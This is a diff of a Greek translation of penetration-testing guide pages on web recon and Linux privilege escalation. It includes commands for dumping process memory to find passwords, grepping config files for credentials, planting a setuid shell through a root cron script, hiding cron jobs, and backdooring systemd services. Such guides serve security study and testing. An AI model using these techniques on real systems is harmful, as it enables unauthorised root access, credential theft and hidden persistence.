Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/#http-port-discovery).\ Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες: Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί στις θύρες 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
```bash ```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **Στιγμιότυπα** ### **Στιγμιότυπα**
Τώρα που έχετε ανακαλύψει **όλους τους web servers** που υπάρχουν στο πεδίο (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**. Τώρα που έχετε ανακαλύψει **όλους τους web servers** που υπάρχουν στο πεδίο (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα από όλους αυτούς. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **πιθανό** να είναι **ευάλωτες**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
@ -530,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζητώντας ευπάθειες** ### **Αναζητώντας ευπάθειες**
Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing. Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την καμπάνια phishing.
## Διαρροές Διαπιστευτηρίων ## Διαρροές Διαπιστευτηρίων
@ -564,7 +565,7 @@ github-leaked-secrets.md
### Διαρροές Pastes ### Διαρροές Pastes
Μερικές φορές οι επιτιθέμενοι ή απλά οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\ Μερικές φορές οι επιτιθέμενοι ή απλώς οι εργαζόμενοι θα **δημοσιεύσουν περιεχόμενο της εταιρείας σε μια ιστοσελίδα paste**. Αυτό μπορεί να περιέχει ή να μην περιέχει **ευαίσθητες πληροφορίες**, αλλά είναι πολύ ενδιαφέρον να το αναζητήσετε.\
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα. Μπορείτε να χρησιμοποιήσετε το εργαλείο [**Pastos**](https://github.com/carlospolop/Pastos) για να αναζητήσετε σε περισσότερες από 80 ιστοσελίδες paste ταυτόχρονα.
### Google Dorks ### Google Dorks

View File

@ -32,14 +32,14 @@ cat /proc/version
uname -a uname -a
searchsploit "Linux Kernel" searchsploit "Linux Kernel"
``` ```
Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Άλλες τοποθεσίες όπου μπορείτε να βρείτε μερικούς **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτήν την ιστοσελίδα μπορείτε να κάνετε: Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
```bash ```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
``` ```
Εργαλεία που θα μπορούσαν να βοηθήσουν στην αναζήτηση εκμεταλλεύσεων πυρήνα είναι: Τα εργαλεία που θα μπορούσαν να βοηθήσουν στην αναζήτηση εκμεταλλεύσεων πυρήνα είναι:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```bash ```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
``` ```
Επίσης, ελέγξτε αν **είναι εγκατεστημένος κάποιος μεταγλωττιστής**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσετε κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσετε στη μηχανή όπου θα το χρησιμοποιήσετε (ή σε μία παρόμοια). Επίσης, ελέγξτε αν **είναι εγκατεστημένος οποιοσδήποτε μεταγλωττιστής**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσετε κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσετε στη μηχανή όπου θα το χρησιμοποιήσετε (ή σε μία παρόμοια).
```bash ```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
``` ```
@ -173,7 +173,7 @@ top -n 1
### Παρακολούθηση διαδικασιών ### Παρακολούθηση διαδικασιών
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε διαδικασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες διαδικασίες που εκτελούνται συχνά ή όταν πληρούνται ένα σύνολο απαιτήσεων.
### Μνήμη διαδικασίας ### Μνήμη διαδικασίας
@ -182,11 +182,11 @@ top -n 1
Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**. Ωστόσο, θυμηθείτε ότι **ως κανονικός χρήστης μπορείτε να διαβάσετε τη μνήμη των διαδικασιών που κατέχετε**.
> [!WARNING] > [!WARNING]
> Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή** που σημαίνει ότι δεν μπορείτε να απορρίψετε άλλες διαδικασίες που ανήκουν στον μη προνομιούχο χρήστη σας. > Σημειώστε ότι σήμερα οι περισσότερες μηχανές **δεν επιτρέπουν το ptrace από προεπιλογή**, που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλων διαδικασιών που ανήκουν στον μη προνομιούχο χρήστη σας.
> >
> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: > Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace:
> >
> - **kernel.yama.ptrace_scope = 0**: όλες οι διαδικασίες μπορούν να αποσφαλματωθούν, αρκεί να έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing. > - **kernel.yama.ptrace_scope = 0**: όλες οι διαδικασίες μπορούν να αποσφαλματωθούν, εφόσον έχουν το ίδιο uid. Αυτός είναι ο κλασικός τρόπος με τον οποίο λειτουργούσε το ptracing.
> - **kernel.yama.ptrace_scope = 1**: μόνο μια γονική διαδικασία μπορεί να αποσφαλματωθεί. > - **kernel.yama.ptrace_scope = 1**: μόνο μια γονική διαδικασία μπορεί να αποσφαλματωθεί.
> - **kernel.yama.ptrace_scope = 2**: Μόνο ο διαχειριστής μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτεί την ικανότητα CAP_SYS_PTRACE. > - **kernel.yama.ptrace_scope = 2**: Μόνο ο διαχειριστής μπορεί να χρησιμοποιήσει το ptrace, καθώς απαιτεί την ικανότητα CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3**: Καμία διαδικασία δεν μπορεί να παρακολουθηθεί με ptrace. Μόλις ρυθμιστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing. > - **kernel.yama.ptrace_scope = 3**: Καμία διαδικασία δεν μπορεί να παρακολουθηθεί με ptrace. Μόλις ρυθμιστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing.
@ -215,7 +215,7 @@ done
``` ```
#### /proc/$pid/maps & /proc/$pid/mem #### /proc/$pid/maps & /proc/$pid/mem
Για μια δεδομένη ταυτότητα διαδικασίας, **οι χάρτες δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης τις **άδειες κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους μετατοπιστές τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο. Για μια δεδομένη ταυτότητα διαδικασίας, **οι χάρτες δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης **τα δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
```bash ```bash
procdump() procdump()
( (
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
``` ```
### ProcDump για linux ### ProcDump για linux
Το ProcDump είναι μια επαναστατική έκδοση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Αποκτήστε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) Το ProcDump είναι μια επανεξέταση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Αποκτήστε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
``` ```
procdump -p 1714 procdump -p 1714
@ -270,7 +270,7 @@ Press Ctrl-C to end monitoring without terminating the process.
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς
- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) - Το σενάριο A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
### Διαπιστευτήρια από τη Μνήμη Διαδικασίας ### Διαπιστευτήρια από τη Μνήμη Διαδικασίας
@ -348,7 +348,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
wildcards-spare-tricks.md wildcards-spare-tricks.md
{{#endref}} {{#endref}}
### Επικαλύψεις cron script και symlink ### Επικαλύψεις σε cron script και symlink
Αν **μπορείτε να τροποποιήσετε ένα cron script** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα: Αν **μπορείτε να τροποποιήσετε ένα cron script** που εκτελείται από τον root, μπορείτε να αποκτήσετε ένα shell πολύ εύκολα:
```bash ```bash
@ -356,13 +356,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed #Wait until it is executed
/tmp/bash -p /tmp/bash -p
``` ```
Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί ένα **κατάλογο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς. Αν το σενάριο που εκτελείται από τον root χρησιμοποιεί έναν **φάκελο όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και **να δημιουργήσετε έναν φάκελο symlink σε έναν άλλο** που εξυπηρετεί ένα σενάριο που ελέγχετε εσείς.
```bash ```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER> ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
``` ```
### Συχνές cron εργασίες ### Συχνές cron εργασίες
Μπορείτε να παρακολουθήσετε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κλιμακώσετε τα δικαιώματα. Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κλιμακώσετε τα δικαιώματα.
Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε: Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
```bash ```bash
@ -372,24 +372,24 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Αόρατα cron jobs ### Αόρατα cron jobs
Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας ένα χαρακτήρα επιστροφής καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού): Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας ένα carriage return μετά από ένα σχόλιο** (χωρίς χαρακτήρα newline), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα carriage return):
```bash ```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!" #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
``` ```
## Υπηρεσίες ## Υπηρεσίες
### Γραφές _.service_ ### Γραφές _.service_ που είναι εγγράψιμες
Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\ Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`** Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
### Εκτελέσιμα αρχεία υπηρεσιών ### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα
Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται. Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται.
### systemd PATH - Σχετικές Διαδρομές ### systemd PATH - Σχετικές Διαδρομές
Μπορείτε να δείτε την PATH που χρησιμοποιεί το **systemd** με: Μπορείτε να δείτε τη διαδρομή PATH που χρησιμοποιεί το **systemd** με:
```bash ```bash
systemctl show-environment systemctl show-environment
``` ```
@ -399,7 +399,7 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
``` ```
Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα όπως το σχετικό μονοπάτι του δυαδικού αρχείου** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν ζητηθεί από την υπηρεσία να εκτελέσει την ευάλωτη ενέργεια (**Έναρξη**, **Διακοπή**, **Επαναφόρτωση**), το **backdoor σας θα εκτελείται** (οι χρήστες χωρίς δικαιώματα συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες, αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`). Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα όπως το σχετικό μονοπάτι του δυαδικού αρχείου** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν ζητηθεί από την υπηρεσία να εκτελέσει την ευάλωτη ενέργεια (**Έναρξη**, **Διακοπή**, **Επαναφόρτωση**), η **πίσω πόρτα σας θα εκτελείται** (οι χρήστες χωρίς δικαιώματα συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες, αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`).
**Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.** **Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.**
@ -439,26 +439,26 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
## Sockets ## Sockets
Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στην ίδια ή σε διαφορετικές μηχανές εντός μοντέλων πελάτη-διακομιστή. Χρησιμοποιούν τυπικά αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`. Οι Unix Domain Sockets (UDS) επιτρέπουν την **επικοινωνία διεργασιών** στην ίδια ή σε διαφορετικές μηχανές εντός μοντέλων client-server. Χρησιμοποιούν τυπικά αρχεία περιγραφέα Unix για την επικοινωνία μεταξύ υπολογιστών και ρυθμίζονται μέσω αρχείων `.socket`.
Οι Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`. Οι Sockets μπορούν να ρυθμιστούν χρησιμοποιώντας αρχεία `.socket`.
**Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι: **Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η IPv4/6 και/ή ο αριθμός θύρας για να ακούσει, κ.λπ.) - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, το IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **περίπτωση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακ listening sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για datagram sockets και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`. - `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **περίπτωση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακ listening **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία. - `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος χαρακτήρας της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διεργασία.
- `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακ listening **sockets**/FIFOs, αντίστοιχα. - `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που **εκτελούνται πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **για ενεργοποίηση** στην **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή. - `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **για ενεργοποίηση** στην **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
### Writable .socket files ### Writable .socket files
